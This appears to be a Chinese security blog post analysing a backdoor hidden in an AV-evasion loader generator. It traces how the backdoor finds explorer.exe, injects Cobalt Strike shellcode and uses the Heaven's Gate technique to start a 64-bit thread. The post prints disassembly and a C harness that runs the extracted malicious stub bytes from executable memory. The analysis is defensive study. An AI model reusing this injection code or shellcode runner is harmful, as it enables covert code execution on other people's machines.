某免杀工具后门分析

最近网上看到某免杀exe生成工具存在后门

找到样本来学习一下看看

样本地址: https://s.threatbook.com/report/file/a737860a66bcd9228cc18de7a51cc736e1a834a13e26cd6f19e2d162fdfef9bd

0x01 文件信息

下载好后有2个文件

LoaderMaker.exe

这是用来生成免杀文件的,后门在该文件中

ShellcodeLoader.exe

这是一个模板

这次不学习这东西怎么免杀的

就是看看后门是藏在哪里的

0x02 文件分析

先看一下LoaderMaker.exe的导出函数有哪些

picture.image

看到这个函数就感觉有点问题了

这是用来列进程的函数,一个免杀工具好端端的为啥要去列进程

参考了一下大佬的文章,是逆着推的,后面慢慢说

0x03 废话来喽

首先找到主函数

运行文件后会打印title

picture.image

主函数位置为sub_004019A0

picture.image

打印下面还有2个函数

sub_4011E0

网上说是用来反沙箱的,找了半天找不到特别有用的信息,好像是一个处理字符串的函数

picture.image

可以看到从ntdll里面找PfxInitialize函数,然后对比输出结果是否为0x200

去dbg里面跟了一下

picture.image

发出了疑惑的声音,这不是在硬编码中写死的吗

后来又去ReactOS看了下

picture.image

可以看到函数内部执行了UNIMPLEMENTED,再过去看看

picture.image

可以看到是个宏定义,如果满足上面的条件则调用Dbgprint,反之为空

Dbgprint是内核的打印函数,可以不用去管

这里简单的猜测一下,PfxInitialize的返回值应该是在编译ntdll的时候决定的

返回值和CPU架构有关,勉强可以说是反沙箱的函数,只是不是动态确定的就是了

上面是一些简单的猜测,如果有问题欢迎大佬指出

sub_401620

这函数就是用来直接提权的,里面不细究了之前的文章有写过,开启debug特权,开不起就算了

所以你一个免杀工具为啥要debug特权???

后面的就是混淆shellcode的一些东西了,这脚本的免杀怎么实现的就不在这里说了

毕竟这文章主要是来看后门的

0x04 后门代码分析

这里跟着大佬的脚步逆着推

sub_401560

先找到调用CreateToolhelp32Snapshot的函数

sub_401560

picture.image

毫不掩饰的遍历进程,通过进程名找到PID再用a1传回去

sub_401710

再往上找到sub_401710,这里函数太长了截图不完

picture.image

可以看到sub_401560执行完后如果找到PID就会去执行sub_401290

再看下面的函数之前先去看看到底找了什么进程吧

看上图有一堆不知道什么的变量,还有循环

到这里看伪代码就会有点不清楚了,可以选择直接去看汇编


        
.text:00401710 var_54          = dword ptr -54h  
.text:00401710 var_50          = dword ptr -50h  
.text:00401710 var_4C          = dword ptr -4Ch  
.text:00401710 var_48          = dword ptr -48h  
.text:00401710 var_44          = dword ptr -44h  
.text:00401710 var_40          = dword ptr -40h  
.text:00401710 var_3C          = dword ptr -3Ch  
.text:00401710 var_38          = dword ptr -38h  
.text:00401710 var_34          = dword ptr -34h  
.text:00401710 var_30          = dword ptr -30h  
.text:00401710 var_2C          = dword ptr -2Ch  
.text:00401710 var_28          = dword ptr -28h  
.text:00401710 String2         = word ptr -24h  
.text:00401710 var_20          = dword ptr -20h  
.text:00401710 var_1C          = dword ptr -1Ch  
.text:00401710 var_18          = dword ptr -18h  
.text:00401710 var_14          = dword ptr -14h  
.text:00401710 var_10          = dword ptr -10h  
.text:00401710 var_C           = word ptr -0Ch  
.text:00401710 dwProcessId     = dword ptr -8  
.text:00401710 var_4           = dword ptr -4  
  
.text:00401799                 mov     edx, [ebp+var_4]  
.text:0040179C                 mov     eax, [ebp+edx*4+var_54]  
.text:004017A0                 movsx   cx, byte_41ADC4[eax]  
.text:004017A8                 mov     edx, [ebp+var_4]  
.text:004017AB                 mov     [ebp+edx*2+String2], cx  
.text:004017B0                 mov     eax, [ebp+var_4]  
.text:004017B3                 add     eax, 1  
.text:004017B6                 mov     [ebp+var_4], eax  
.text:004017B9                 cmp     [ebp+var_4], 0Ch  
.text:004017BD                 jnz     short loc_4017D2  

    

上面这些都是参数在栈中对应的位置,稍微把参数对应的位置改一下

先贴一张后面要用到的

picture.image

这里能看到byte_41ADC4对应的字符串

shellcodeLoader.exe


        
.text:00401799                 mov     edx, [ebp-4]           
;取出ebp-4的位置存入edx        该位置是用来存放循环次数的  
.text:0040179C                 mov     eax, [ebp+edx*4-54]  
;将ebp+edx*4-54的位置存入eax      该位置是存放需要取的字符串的位置  
.text:004017A0                 movsx   cx, byte_41ADC4[eax]  
;取出byte_41ADC4对应位置的字符  
.text:004017A8                 mov     edx, [ebp-4]  
;取出ebp-4的位置存入edx  
.text:004017AB                 mov     [ebp+edx*2-24], cx  
;将得到的字符存入ebp+edx*2-24  
.text:004017B0                 mov     eax, [ebp-4]  
;取出循环次数存入eax  
.text:004017B3                 add     eax, 1  
;eax+1  
.text:004017B6                 mov     [ebp-4], eax  
;加过的循环次数再次存入ebp-4  
.text:004017B9                 cmp     [ebp-4], 0Ch  
;判断有无循环到0xC次  
.text:004017BD                 jnz     short loc_4017D  
;如果已经循环到0xC次跳出循环  

    

这么看了之后就很明了了

上面v1-v12的变量去byte_41ADC4找到对应位置的字符就可以了

其实这里动态调试可以马上看到

picture.image

这里看着还有点不对

再往下看看ida中还有这句

LOWORD(v14) = 112;

picture.image

这里就明确了找的是资源管理器的PID

虽然动态可以直接看到不过有些程序不能调试,所以静态也是必要的技能

好了可以接着看下面的函数了

sub_401290

去找了某dll的句柄

picture.image

这里取字符串的方式和上面的一样,不过取的位置在byte_41AE20

picture.image

byte_41AE20=[A-Za-z]

这里取出的来的字符串为Kernel

加上v23 = 0x320033;

完整的字符串就是Kernel32

得到Kernel32的句柄

然后用OpenProcess得到资源管理器的句柄

然后使用GetProcAddress得到需要调用的函数地址

picture.image

这里有些区别

先提取出dword_41A9E4的数字然后再从byte_41AE20找到指定字符

picture.image

这里提取出来的函数是VirtullAllocEx

下面还有GetProcAddress

picture.image

和上面的一样

picture.image

这里的函数是WriteProcessMemory

先判断系统的位数,如果是64位则注入shellcode,反之就不动

然后开一块堆内存用来解密shellcode

picture.image

关于解密shellcode这块可以写脚本解密,这次偷懒就直接用x64dbg运行了

picture.image

解密了之后可以看到这就是一个普通cs的shellcode,甚至无混淆,直接可以看到域名和端口

端口: 0x827=2087

不过看到FC48就可以知道这是一段x64位的shellcode,不过这个后门程序是32位的该怎么去动64位的程序的还需要看下去

picture.image

后面的代码调用了前面提取出来的函数

就是在explorer.exe开内存然后把shellcode写入explorer.exe的内存中

调用sub_401230开一块内存将sub_41A8B0数据段内的数据复制进去

picture.image

然后执行这段内存

下面看看这段内存是啥用的

0x05 天堂之门

这项技术早有耳闻

以前一直没有研究,没想到在这里碰到了

下面简单说一下这技术,这次先不深入学习了以后再专门的文章

该技术可以在32位的进程里面执行64位的汇编指令

其实32位程序会载入32位和64位的ntdll.dll,可以用ProcessHacker看到

picture.image

由64位的ntdll模拟一个环境让32位的程序可以正常执行

用来区别执行什么位数的指令用的是段寄存器cs

如果cs为0x23则指令为32位,为0x33则为64位

在ida找到数据段按C可以转为汇编代码

picture.image

可以看到call了sub_41A933函数

picture.image

sub_41A933函数push 0x33和eax,这里eax的是call sub_41A933的下一行指令

不过这已经不重要了,因为IDA和dbg都看不清了,到这里已经转成64位的指令了

这里可以用PE-bear简单的查看一下

picture.image

可以把机器码转为不同位数的指令

picture.image

前面说了rerf指针会回到call sub_41A933的下一行指令,就是这位置

不要在意上面的指令为啥不是call,因为这里位数已经改变了

看一下下面的汇编0x60,0x18,这种就是在找PEB里面的dll链表了

因为之前文章有说过这里就不展开了

这块指令就是用来找64位ntdll的地址,然后找里面的某个函数调用

这里可以把机器码全部复制下来然后用x64dbg调试


        
#include <stdio.h>  
#include <Windows.h>  
  
int main() {  
    char sc[] = "\x53\x5B\x85\xC0\x74\x67\x48\x89\xE6\x48\x83\xE4\xF0\x48\x83\xEC\x68\xB8\xFA\x80\x39\x5E\x53\x5B\xE8\x86\x00\x00\x00\x48\x89\xC3\x4D\x31\xC0\x48\x31\xC0\x48\x89\x44\x24\x50\x53\x5B\x48\x89\x44\x24\x48\x48\x89\x44\x24\x40\x48\x89\x44\x24\x38\x53\x5B\x48\x89\x44\x24\x30\x8B\x46\x24\x48\x89\x44\x24\x28\x8B\x46\x20\x48\x89\x44\x24\x20\x53\x5B\x44\x8B\x4E\x14\xBA\x00\x00\x00\x10\x8B\x4E\x30\x53\x5B\xFF\xD3\x48\x89\xF4\xE8\x1C\x00\x00\x00\x5D\x5F\x5E\x5B\xC3\x31\xC0\x48\xF7\xD8\xC3\xE8\xF5\xFF\xFF\xFF\x74\x07\x58\x6A\x33\x53\x5B\x50\xCB\xC3\x53\x5B\xE8\xE4\xFF\xFF\xFF\x53\x5B\x75\x10\x58\x83\xEC\x08\x89\x04\x24\xC7\x44\x24\x04\x23\x00\x00\x00\xCB\xC3\x56\x57\x53\x51\x49\x89\xC0\x6A\x60\x5E\x65\x48\x8B\x06\x48\x8B\x40\x18\x53\x5B\x4C\x8B\x50\x30\x53\x5B\x49\x8B\x6A\x10\x48\x85\xED\x89\xE8\x74\x59\x4D\x8B\x12\x8B\x45\x3C\x83\xC0\x10\x8B\x44\x05\x78\x53\x5B\x48\x8D\x74\x05\x18\xAD\x91\x67\xE3\xDC\xAD\x4C\x8D\x5C\x05\x00\x53\x5B\xAD\x48\x8D\x7C\x05\x00\xAD\x48\x8D\x5C\x05\x00\x53\x5B\x8B\x74\x8F\xFC\x48\x01\xEE\x31\xC0\x99\xAC\x01\xC2\xC1\xC2\x05\x53\x5B\xFF\xC8\x79\xF4\x44\x39\xC2\xE0\xE5\x75\xAC\x0F\xB7\x14\x4B\x53\x5B\x41\x8B\x04\x93\x48\x01\xE8\x59\x5B\x5F\x5E\xC3";  
    void* exec = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
    memcpy(exec, sc, sizeof sc);  
    ((void(*)())exec)();  
    return 0;  

    

这段代码找函数的方法和cs类似输入一个特征然后去遍历字符串这样的

picture.image

0x5E3980FA这就是特征,找到的函数为ZwCreateThreadEx

这就是该段代码的作用。,找到64位的ZwCreateThreadEx执行之前写入explorer.exe的shellcode

至于参数是从栈里面传过来的,因为实在不好调试所以就不调了

总结一下就是

找到explorer.exe的pid->开辟内存->写入x64的shellcode->找到x64的ZwCreateThreadEx函数执行shellcdoe

最后的问题就是这个后门是在哪里触发的

找到是谁调用了sub_401710

picture.image

这里有个计数器dword_41B870

如果等于6就触发后门,不等于就自加

再往上找,因为很多就不截图了直接列一下函数调用顺序

sub_401950(打印字符串的函数)->sub_401930->sub_401910->sub_4018F0->sub_4018D0->sub_4018B0->sub_401890->sub_401870->sub_401850->sub_401830->sub_401800

不要看有这么一串调用栈,其实这些函数里面基本就是类似的,如下


        
int \_\_cdecl sub\_401930(int a1)  
{  
  sub\_401910(a1);  
  return a1;  
}  

    

就直接调用

有可能和编译器有关系

最后会发现这是用来打印的函数

picture.image

上面打印了5次

如果参数不够在if的代码块里置零,这样后面的四次打印就不会触发后门

参数正确的话会在最后打印output时候触发后门

picture.image

意思就是在如果不生成就不会被上线

生成了就上线

番外

为了确认文章的准确性特意去调了一下那段shellcode,发现了有意思的东西*

如果下载到的样本是未被修改的话

这段shellcode无法上线

在调试的时候发现InternetOpenA需要调用的参数全是空

picture.image

说明shellcode到这里就崩溃了

去附参数的位置看看发现已经全部都置零了

picture.image

找了文章发现提取出来的shellcode是一样的

去看了一下沙箱的信息,虽然说提取到了恶意的url不过好像也无可疑的http请求

再去看了一下聊天记录的截图好像连接的也不是提取到的地址

所以可能这东西真的不能上线..只是作者逗着玩的

0x06 参考文章

https://citrusice.github.io/posts/shellcode-loader-backdoor-analysis/

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看”

0
0
0
0
评论
未登录
暂无评论